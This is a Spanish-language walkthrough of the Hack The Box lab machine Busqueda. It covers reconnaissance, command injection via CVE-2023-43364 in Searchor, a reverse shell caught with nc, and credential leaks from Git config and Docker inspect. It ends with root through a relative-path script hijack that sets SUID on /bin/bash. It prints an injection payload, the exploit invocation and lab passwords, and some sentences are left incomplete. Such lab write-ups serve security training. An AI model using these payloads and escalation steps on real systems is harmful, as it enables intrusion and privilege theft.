Busqueda es una máquina Linux de dificultad fácil que implica explotar una vulnerabilidad de inyección de comandos presente en un módulo Python. Al aprovechar esta vulnerabilidad, obtenemos acceso a nivel de usuario a la máquina. Para escalar privilegios a root, descubrimos credenciales dentro de un archivo de configuración Git, lo que nos permite iniciar sesión en un servicio Gitea local. Además, descubrimos que un script de verificación del sistema puede ser ejecutado con privilegios root por un usuario específico. Al utilizar este script, enumeramos los contenedores Docker que revelan las credenciales para la cuenta Gitea del usuario administrador. Un análisis más detallado del código fuente del script de verificación del sistema en un repositorio Git revela un medio para explotar una referencia de ruta relativa, lo que nos otorga Ejecución remota de código (RCE) con privilegios root.
Reconnaissance
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Busqueda. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.208 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 05:37 CET
Initiating SYN Stealth Scan at 05:37
Scanning 10.10.11.208 [65535 ports]
Discovered open port 22/tcp on 10.10.11.208
Discovered open port 80/tcp on 10.10.11.208
Completed SYN Stealth Scan at 05:37, 12.14s elapsed (65535 total ports)
Nmap scan report for 10.10.11.208
Host is up, received user-set (0.054s latency).
Scanned at 2025-02-13 05:37:35 CET for 12s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.25 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65541 (2.622MB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.208
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache.
❯ nmap -sCV -p22,80 10.10.11.208 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 05:38 CET
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Searcher
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 59.87 ms 10.10.16.1
2 29.86 ms searcher.htb (10.10.11.208)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.87 seconds
Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts.
Esta plataforma nos permite realizar búsquedas en múltiples motores, como Google, YouTube, DuckDuckGo y eBay, entre otros.
Además, nos ofrece la posibilidad de monitorizar menciones públicas en redes sociales y la web, facilitando el seguimiento de nuestra presencia en línea desde un panel centralizado.
Para usarla, solo necesitamos:
Seleccionar el motor de búsqueda.
Escribir nuestra consulta.
Hacer clic en "Search".
Si activamos la opción de redirección automática, seremos llevados directamente a los resultados. De lo contrario, obtendremos la URL de la búsqueda para utilizarla como queramos.
Realizaremos una búsqueda básica para ver el funcionamiento de la página web.
En el resultado obtenido, verificamos que se ha realizado la siguiente búsqueda.
En la propia página web de Busqueda, nos encontramos que la página web utiliza Flask y Searchor 2.4.0.
Realizando una búsqueda por Internet de posibles vulnerabilidades sobre esta versión, nos encontramos con el siguiente CVE-2023-43364.
main.py en Searchor anterior a 2.4.2 usa eval en la entrada CLI, lo que puede provocar la ejecución inesperada de código.
Por otro lado, nos encontramos con el siguiente repositorio de GitHub que automatiza la explotación de la vulnerabilidad otorgándonos una Reverse Shell.
Nos pondremos en escucha con nc para recibir la Reverse Shell.
❯ nc -nlvp 443
listening on [any] 443 ...
Realizaremos la explotación indicando el target vulnerable y nuestra dirección y puerto donde recibiremos la Reverse Shell.
❯ ./exploit.sh searcher.htb 10.10.16.7 443
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.16.7:443
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
Verificamos que hemos ganado el acceso correctamente al equipo.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.208] 37882
bash: cannot set terminal process group (1646): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$
' + __import__('os').popen('id').read() + '
El siguiente paso, será lograr obtener una Reverse Shell. Para ello, crearemos en nuestro equipo un archivo llamado shell.sh que contiene la Reverse Shell, compartiremos el script a través de un servidor web.
Verificamos que finalmente ganamos acceso al sistema con el usuariosvc y logramos comprobar la flag de user.txt.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.208] 46348
bash: cannot set terminal process group (1646): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ cat /home/svc/user.txt
26d7ad943e8f5*******************
Privilege Escalation
Information Leakage to access Gitea
Al acceder al equipo, verificamos que al revisar los permisos de sudoers nos requiere ingresar las credenciales del usuario, las cuales no disponemos actualmente. Revisamos los grupos a los que forma parte y tampoco disponemos de algún grupo que podamos abusar para escalar nuestros privilegios.
svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
sudo: a password is required
svc@busqueda:/var/www/app/.git$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
Enumerando el directorio /var/www/app nos encontramos con un repositorio de /.git en el cual contiene un archivo de configuración con lo que parecen ser credenciales de acceso del usuario cody.
svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 .
drwxr-xr-x 4 root root 4096 Apr 4 2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Feb 13 04:37 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
svc@busqueda:/var/www/app$ cd .git/
svc@busqueda:/var/www/app/.git$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Feb 13 04:37 .
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 ..
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 branches
-rw-r--r-- 1 www-data www-data 15 Dec 1 2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec 1 2022 config
-rw-r--r-- 1 www-data www-data 73 Dec 1 2022 description
-rw-r--r-- 1 www-data www-data 21 Dec 1 2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 hooks
-rw-r--r-- 1 root root 259 Apr 3 2023 index
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec 1 2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec 1 2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec 1 2022 refs
svc@busqueda:/var/www/app/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
Enumerando el directorio personal del usuario svc también observamos un archivo .gitconfig el cual contiene la configuración del usuario cody.
Revisaremos los puertos internos del equipo, y logramos encontrar el puerto 3000 abierto, que normalmente es utilizado para Gitea.
svc@busqueda:/var/www/app/.git$ netstat -ano | grep LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:222 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:36977 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
Realizamos una petición con cURL al servidor 127.0.0.1:3000 en el cual nos devuelve información de la página web relacionada con Gitea.
svc@busqueda:/var/www/app/.git$ curl 127.0.0.1:3000
<!DOCTYPE html>
<html lang="en-US" class="theme-auto">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Gitea: Git with a cup of tea</title>
<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpemVzIjoiNTEyeDUxMiJ9LHsic3JjIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19">
<meta name="theme-color" content="#6cc644">
<meta name="default-theme" content="auto">
<meta name="author" content="Gitea - Git with a cup of tea">
<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<meta name="keywords" content="go,git,self-hosted,gitea">
<meta name="referrer" content="no-referrer">
El siguiente objetivo será realizar Port Forwarding con chisel para lograr tener acceso a la página web de Gitea. Para ello, compartiremos el binario de chisel a través de un servidor web.
❯ ls -l chisel
.rwxrwxr-x kali kali 8.9 MB Thu Feb 13 06:27:17 2025 chisel
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde el equipo comprometido, nos descargaremos el binario de chisel y le daremos los permisos de ejecución correspondientes.
Desde el equipo comprometido, configuraremos chisel para que actúe como cliente de nuestro servidor y compartiremos el puerto 3000 interno a que sea el puerto 80 de nuestro equipo local.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts.
❯ cat /etc/hosts | grep searcher
127.0.0.1 localhost kali gitea.searcher.htb
Enumerando el Gitea, logramos encontrar un repositorio propio de nuestro usuario.
Revisamos el repositorio que disponemos, y comprobamos que se trata del archivo de Searchor, la página web desde la cual obtuvimos el acceso inicial al sistema.
Abusing sudoers privilege + Information Leakage in Docker Containers
Probamos de validar si las credenciales del usuario cody de Gitea servían para el usuario svc y comprobamos que son sus credenciales correctas.
Al analizar si disponíamos de privilegios de sudoers, nos encontramos que podemos ejecutar el siguiente script en /opt/scripts/system-checkup.py.
svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Enumeramos el directorio /opt/scripts en los cuales aparecen diversos script de Bash y Python, al intentar comprobar el contenido de estos archivos se nos indica Permission denied.
Probamos de ejecutar el script de Python como sudo y nos aparece un mensaje indicando que no disponemos del acceso para ejecutar el binario.
Al intentar poner otro valor a la hora de ejecutar el script, verificamos que nos permite ejecutar diversos comandos de Docker, como listar los contenedores en ejecución, inspeccionar y realizar un escaneo del sistema.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py
Sorry, user svc is not allowed to execute '/usr/bin/python3 /opt/scripts/system-checkup.py' as root on busqueda.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py h
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
A través del siguiente comando, comprobaremos mediante el script system-checkup.py los contenedores de Docker en ejecución, entre los que encontramos contenedores de Gitea y MySQL.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 2 years ago Up About an hour 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 2 years ago Up About an hour 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
Al intentar inspeccionar el contenedor, se nos indica el uso correcto de la herramienta, se nos requiere especificar el formato y el nombre del contenedor.
Por la estructura del comando, parece ser comandos de Docker nativos. Con lo cual, decidimos consultar la información oficial de Docker sobre el comando de dockerinspect
En este caso, inspeccionamos el contenedor de Gitea para que nos muestre el resultado en formato JSON. En el resultado obtenido, nos aparecen credenciales de una base de datos llamada gitea.
Al realizar la ejecución del último comando, se nos indicaba que había ocurrido algún error, intentamos añadir algún parámetro, etc pero obtuvimos siempre le mismo resultado.
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
Enumeramos la configuración de red que disponía el contenedor de mysql. En el resultado obtenido, comprobamos que el contenedor de mysql operaba a través de la IP 172.19.0.3.
Probamos de acceder al MySQL del contenedor de Docker con el usuario gitea y las credenciales localizadas en la configuración del contenedor gitea a través de la dirección IP 172.19.0.3.
Logramos obtener el acceso correspondiente y enumerar las tablas, entre las cuales aparecía la tabla users.
svc@busqueda:~$ mysql -h 172.19.0.3 -u gitea -pyuiu1hoiu4i5ho1uh gitea
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 225
Server version: 8.0.31 MySQL Community Server - GPL
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> SHOW TABLES;
+---------------------------+
| Tables_in_gitea |
+---------------------------+
| access |
| access_token |
| action |
| app_state |
| attachment |
| badge |
| collaboration |
| comment |
| commit_status |
| commit_status_index |
| deleted_branch |
| deploy_key |
| email_address |
| email_hash |
| external_login_user |
| follow |
| foreign_reference |
| gpg_key |
| gpg_key_import |
| hook_task |
| issue |
| issue_assignees |
| issue_content_history |
| issue_dependency |
| issue_index |
| issue_label |
| issue_user |
| issue_watch |
| label |
| language_stat |
| lfs_lock |
| lfs_meta_object |
| login_source |
| milestone |
| mirror |
| notice |
| notification |
| oauth2_application |
| oauth2_authorization_code |
| oauth2_grant |
| org_user |
| package |
| package_blob |
| package_blob_upload |
| package_file |
| package_property |
| package_version |
| project |
| project_board |
| project_issue |
| protected_branch |
| protected_tag |
| public_key |
| pull_auto_merge |
| pull_request |
| push_mirror |
| reaction |
| release |
| renamed_branch |
| repo_archiver |
| repo_indexer_status |
| repo_redirect |
| repo_topic |
| repo_transfer |
| repo_unit |
| repository |
| review |
| review_state |
| session |
| star |
| stopwatch |
| system_setting |
| task |
| team |
| team_invite |
| team_repo |
| team_unit |
| team_user |
| topic |
| tracked_time |
| two_factor |
| upload |
| user |
| user_badge |
| user_open_id |
| user_redirect |
| user_setting |
| version |
| watch |
| webauthn_credential |
| webhook |
+---------------------------+
91 rows in set (0.01 sec)
Al enumerar los valores de la tabla users, nos encontramos con las credenciales del usuario administrator para Gitea.
Volvimos a nuestro equipo local donde tenemos acceso al Gitea mediante Port Forwarding. Probamos de acceder con las credenciales del usuario Administrator localizadas en el punto anterior y comprobamos del acceso correspondiente. También, logramos verificar que disponíamos de un repositorio llamado scripts.
Al acceder al repositorio de scripts, logramos visualizar diferentes archivos/scripts que parecen ser los que se encontraban en /opt/scripts que inicialmente no podíamos visualizar su contenido.
El primer script que logramos visualizar es el de check-ports.py el cual después de revisarlo, no logramos sacar nada relevante.
A continuación, se muestra el contenido de full-checkup.sh.
Contenido del script install-flask.sh
Contenido del script system-checkup.py.
Relative Path Exploitation in Script
Después de una revisión exhaustiva de los scripts encontrados, nos encontramos que el script full-checkup.sh podíamos llegar a obtener acceso como root debido a una mala configuración.
En el archivo del script, se mencionaba la función full-checkup en la cual probaba de ejecutar un script llamado full-checkup.sh. De la manera que está representado este valor, no se le indica la ruta absoluta del archivo de Bash, con lo cual nos puede permitir crear un archivo con el mismo nombre que realice otra acción que deseemos. Recordemos que este script lo ejecutamos como usuario sudo, con lo cual podríamos llegar a modificar archivos, etc para lograr acceso al sistema.
Por lo tanto, decidimos de crear un archivo llamado full-checkup.sh que lo que realizaría es otorgar al binario /bin/bash permisos de SUID.
Al ejecutar el script con la función full-checkup, al disponer del script malicioso en el mismo repositorio, se nos indicó el mensaje de Done.
Revisamos los permisos de /bin/bash y comprobamos que tiene permisos de SUID. Nos aprovechamos de esto para convertirnos en usuarioroot y visualizar la flag de root.txt.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accedemos a y verificaremos la siguiente página web.
Para realizar la explotación manual, interceptaremos con BurpSuite la solicitud de . Inyectaremos el siguiente comando, al enviar la solicitud, comprobamos en la respuesta por parte del servidor recibimos el resultado de la ejecución de comandos.
Accederemos a y probaremos de acceder con las credenciales del usuario cody localizadas anteriormente.